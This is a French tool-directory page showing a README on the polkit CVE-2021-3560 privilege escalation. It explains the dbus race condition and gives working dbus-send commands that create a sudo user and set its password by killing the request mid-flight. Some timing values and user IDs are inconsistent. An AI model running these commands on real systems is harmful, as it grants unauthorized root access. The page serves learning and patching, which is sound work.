Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-3560 — Exploitation de la vulnérabilité polkit CVE-2021-3560 | Kitploit
Outils/GitHubGitHub/lucaspdiniz/cve-2021-3560
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHublucaspdiniz/cve-2021-3560

CVE-2021-3560

Exploitation de la vulnérabilité polkit CVE-2021-3560

Voir le dépôt
211il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité Polkit - CVE-2021-3560 📕

  • Introduction

En 2021, un chercheur nommé Kevin BackHouse a découvert une vulnérabilité d'élévation de privilèges dans l'utilitaire polkit. Cependant, toutes les versions de Linux ne sont pas vulnérables à polkit.

Voici un exemple de version vulnérable ;

  • Red Hat Enterprise Linux 8
  • Fedora 21 (ou versions ultérieures)
  • Debian Testing (« Bullseye »)
  • Ubuntu 20.04 LTS (« Focal Fossa »)

Les versions les plus récentes de Linux ont déjà la correction de cette vulnérabilité, cependant, les versions plus anciennes, comme celles mentionnées ci-dessus, présentent toujours cette vulnérabilité.

Mais qu'est-ce que Polkit ❓

Polkit est un service système installé par défaut sur de nombreuses distributions Linux. Il est utilisé par systemd, donc toute distribution Linux qui utilise systemd utilise aussi polkit.

Polkit est le service système qui s'exécute en arrière-plan lorsque vous voyez une boîte de dialogue, par exemple ;

Si à tout moment vous avez besoin de modifier les privilèges ou de faire quelque chose qui nécessite des privilèges plus élevés, comme créer un compte utilisateur, Polkit est chargé d'autoriser ou de refuser cette action.

Quel est l'impact de cette vulnérabilité ❓

La CVE-2021-3560 permet à un attaquant local non privilégié d'obtenir les privilèges root. L'exploitation est très simple et rapide, il est donc important de mettre à jour vos installations Linux dès que possible. Tout système sur lequel est installée la version 0.113 (ou ultérieure) de polkit est vulnérable. Cela inclut des distributions populaires telles que RHEL 8 et Ubuntu 20.04.

Comment Polkit est-il vulnérable ❓

En envoyant manuellement des messages dbus au dbus-daemon (effectivement une API permettant à différents processus de communiquer entre eux), puis en tuant la requête avant qu'elle ne soit entièrement traitée, nous pouvons tromper polkit pour qu'il autorise la commande.

Qui est dbus-daemon ❓

Le dbus-daemon est un programme qui s'exécute en arrière-plan et qui sert d'intermédiaire pour les messages entre les applications.

En gros, la reproduction de cette vulnérabilité se fera en suivant les étapes ci-dessous ;

  1. L'attaquant envoie manuellement un message dbus à l'accounts-daemon demandant la création d'un nouveau compte avec des permissions sudo (ou plus tard, un mot de passe à définir pour le nouvel utilisateur). Ce message reçoit un identifiant unique attribué par le dbus-daemon.

  2. L'attaquant tue le message après que polkit l'ait reçu, mais avant que polkit ait eu la chance de le traiter. Cela détruit effectivement l'identifiant unique du message.

  3. Polkit demande au dbus-daemon l'identifiant de l'utilisateur qui a envoyé le message, en référençant l'identifiant de message (désormais supprimé).

  4. Le dbus-daemon ne peut pas trouver l'identifiant du message parce que nous l'avons tué à l'étape deux. Il gère l'erreur en répondant avec un code d'erreur.

  5. Polkit gère mal l'erreur et substitue 0 comme identifiant d'utilisateur -- c'est-à-dire le compte root de la machine.

  6. Pensant que l'utilisateur root a demandé l'action, polkit laisse passer la requête sans opposition.

En bref, en détruisant l'identifiant du message avant que le dbus-daemon ait la chance de donner à polkit le bon identifiant, nous exploitons la mauvaise gestion des erreurs de polkit pour tromper l'utilitaire en lui faisant croire que la requête a été faite par l'utilisateur root tout-puissant.

Mise en pratique - POC

  1. Ajoutons un nouvel utilisateur nommé lucas, avec des permissions sudo, et un mot de passe de banana.

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1

Dans ce cas, lorsque l'on essaie de créer l'utilisateur lucas, nous obtenons un message indiquant que nous n'avons pas la permission (Authentification requise).

Cette commande enverra manuellement un message dbus à l'accounts-daemon, affichera la réponse et créera un nouvel utilisateur nommé lucas(string:lucas), avec une description de « test vulns » (string:"test vulns") et une appartenance au groupe sudo définie sur vrai (référencée par int32:1).

  1. Comme il s'agit effectivement d'une condition de course, nous devons d'abord déterminer combien de temps notre commande mettra à s'exécuter. Essayons avec le premier message dbus :

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1

Dans ce cas, nous utilisons la même commande de création d'utilisateur qu'à l'étape 1, mais nous utilisons la fonction « time » pour obtenir le temps d'exécution de cette commande.

Cela prend 0,011 seconde. Ce nombre sera légèrement différent à chaque exécution de la commande.

  1. Nous devons tuer la commande environ à mi-chemin de son exécution. Essayons d'interrompre le processus avec 0,005 seconde, d'accord ? (Cette valeur change pour chaque cas).

Essayons cela. Nous devons envoyer le message dbus, puis le tuer environ à mi-chemin :

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:lucas string:"test vulns" int32:1 & sleep 0.005s; kill $!

nous avons envoyé le message dbus dans un travail en arrière-plan (en utilisant l'esperluette pour mettre la commande en arrière-plan). Nous lui avons ensuite demandé de dormir pendant 0,005 milliseconde, puis de tuer le processus précédent ($!). Cela a permis de créer le nouvel utilisateur et de l'ajouter au groupe sudo. Nous devons noter à ce stade que l'identifiant de l'utilisateur du nouvel utilisateur dans cet exemple est 1000.

  1. Nous avons besoin d'un hash de mot de passe ici, alors générons un hash Sha512Crypt pour notre mot de passe choisi (banana) :

En utilisant openssl, nous générons un mot de passe de type 6 (SHA512-crypt) avec notre mot de passe en clair.

  1. Les 0,135 millisecondes ont fonctionné, alors essayons à nouveau

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$jErqxzPvzrnXP8uC$j8p1DAuEMe0mnM8Pkm3VkVPL5fPWk7c0fFuZkLCi8/hTb5a/ATZjfwHSwEbhQFZR98xWemFWQHEGaTr8KcKaz0' string:'test vulns' & sleep 0.005s; kill $!

Dans ce cas, nous incluons un mot de passe (banana) pour l'identifiant 1005 qui a été créé dans les étapes ci-dessus.

Polkit corrigé ✔️

Cette vulnérabilité a été divulguée publiquement et le correctif a été publié le 3 juin 2021, avec l'identifiant CVE-2021-3560.

Vérifiez la mise à jour de votre machine avec yum/apt update/upgrade.

Télécharger l’outil